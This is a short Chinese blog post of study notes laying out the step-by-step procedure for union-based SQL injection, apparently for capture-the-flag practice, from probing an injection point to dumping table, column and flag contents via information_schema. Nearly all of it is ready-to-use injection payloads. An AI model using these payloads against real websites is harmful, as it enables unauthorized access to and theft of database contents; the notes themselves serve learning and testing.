SQL 显错注入的基本步骤

又回来了,哎,感觉这块是短板,我需要花三个月时间把这块补一补。

显错注入,从找点,到最后显名的完整流程。

这是个流程框架,内部可能还会有一些细微修改。

1:判断注入点
and 1=1 正常
and 1=2 出错

2:判断字段总数
and 1=1 order by 1
and 1=1 order by 2
and 1=1 order by 3
直到出错,得到总数

3:判断显示位置
and 1=1 union select 1
and 1=1 union select 1,2
and 1=1 union select 1,2,3
直到正确,或者有字符显示出来

4:查询当前库名
and 1=1 union select 1,2,database()
等它显示出来

5:查表名
and 1=2 union select 1,database(),table_name from information_schema.tables where TABLE_SCHEMA=database() limit 0,1
等它显示出来

6:查列名
and 1=2 union select 1,2,column_name from information_schema.columns where TABLE_NAME=表名 limit 0,1
and 1=2 union select 1,2,column_name from information_schema.columns where TABLE_NAME=表名 limit 1,1
and 1=2 union select 1,2,column_name from information_schema.columns where TABLE_NAME=表名 limit 2,1
直到出错

7:字段内容
and 1=2 union select 1,Id,flag from 表名 limit 0,1

原文地址:https://www.cnblogs.com/suanguade/p/12730938.html